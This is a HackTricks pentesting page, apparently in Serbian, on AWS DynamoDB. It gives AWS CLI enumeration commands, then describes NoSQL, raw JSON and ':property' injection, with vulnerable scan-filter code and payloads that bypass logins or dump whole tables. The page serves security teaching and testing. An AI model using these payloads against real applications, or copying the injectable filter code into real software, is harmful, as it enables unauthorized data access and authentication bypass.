AWS - DynamoDB Enum
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
DynamoDB
Osnovne informacije
Amazon DynamoDB se predstavlja kao potpuno upravljana, serverless, key-value NoSQL baza podataka, prilagođena za pokretanje aplikacija visokih performansi bez obzira na njihovu veličinu. Usluga obezbeđuje robusne karakteristike uključujući inherentne mere bezbednosti, neprekidne rezervne kopije, automatsku replikaciju širom više regiona, integrisano keširanje u memoriji i praktične alate za izvoz podataka.
U kontekstu DynamoDB, umesto uspostavljanja tradicionalne baze podataka, kreiraju se tabele. Svaka tabela zahteva specifikaciju ključne particije kao integralnog dela primarnog ključa tabele. Ovaj ključ particije, suštinski hash vrednost, igra ključnu ulogu u preuzimanju stavki i distribuciji podataka širom različitih hostova. Ova distribucija je ključna za održavanje i skalabilnosti i dostupnosti baze podataka. Pored toga, postoji opcija za uključivanje ključnog sortiranja kako bi se dodatno poboljšala organizacija podataka.
Enkripcija
Podrazumevano, DynamoDB koristi KMS ključ koji **pripada Amazon DynamoDB,** čak ni AWS upravljani ključ koji barem pripada vašem nalogu.
Rezervne kopije i izvoz u S3
Moguće je zakazati generisanje rezervnih kopija tabela ili ih kreirati na zahtev. Štaviše, takođe je moguće omogućiti oporavak u tački vremena (PITR) za tabelu. Oporavak u tački vremena obezbeđuje kontinuirane rezervne kopije vaših DynamoDB podataka za 35 dana kako bi vam pomogao da se zaštitite od slučajnih operacija pisanja ili brisanja.
Takođe je moguće izvesti podatke tabele u S3, ali tabela mora imati omogućen PITR.
GUI
Postoji GUI za lokalne Dynamo usluge kao što su DynamoDB Local, dynalite, localstack, itd, koji bi mogli biti korisni: https://github.com/aaronshaf/dynamodb-admin
Enumeracija
# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field
#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename
# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>
# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>
# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>
# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints
Neautentifikovani pristup
AWS - DynamoDB Unauthenticated Access
Privesc
Post Eksploatacija
AWS - DynamoDB Post Exploitation
Perzistencija
DynamoDB Injekcija
SQL Injekcija
Postoje načini za pristupanje DynamoDB podacima koristeći SQL sintaksu, stoga su tipične SQL injekcije takođe moguće.
NoSQL Injekcija
U DynamoDB različite uslove je moguće koristiti za preuzimanje podataka, kao u uobičajenoj NoSQL injekciji, ako je moguće povezati više uslova za preuzimanje podataka, mogli biste dobiti skrivene podatke (ili izvući celu tabelu).
Ovde možete pronaći uslove koje podržava DynamoDB: https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html
Napomena da se različiti uslovi podržavaju ako se podaci pristupaju putem query
ili putem scan
.
note
U stvari, Query akcije moraju da specificiraju uslov "EQ" (jednako) u primarnom ključu da bi radile, čineći ih mnogo manje podložnim NoSQL injekcijama (i takođe čineći operaciju veoma ograničenom).
Ako možete promeniti poređenje koje se vrši ili dodati nova, mogli biste preuzeti više podataka.
# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space
Raw Json injection
caution
Ova ranjivost se zasniva na dynamodb Scan Filter koji je sada ukinut!
DynamoDB prihvata Json objekte za pretragu podataka unutar DB-a. Ako otkrijete da možete pisati u json objekt koji se šalje za pretragu, mogli biste napraviti dump DB-a, svih sadržaja.
Na primer, injektovanje u zahtev kao:
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'
napadač bi mogao da ubaci nešto poput:
1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0
ispravite "EQ" uslov tražeći ID 1000, a zatim tražeći sve podatke sa ID stringom većim od 0, što je sve.
Još jedan ranjiv primer koristeći prijavu mogao bi biti:
scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])
dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))
Ovo bi bilo ranjivo na:
username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
:property Injection
Neki SDK-ovi omogućavaju korišćenje stringa koji označava filtriranje koje treba izvršiti kao:
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
Morate znati da prilikom pretrage u DynamoDB za zamenu vrednosti atributa u filter izrazima dok skenirate stavke, tokeni treba da počnu sa :
karakterom. Takvi tokeni će biti zamenjeni stvarnom vrednosti atributa u vreme izvršavanja.
Stoga, prijava poput prethodne može biti zaobiđena sa nečim poput:
:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.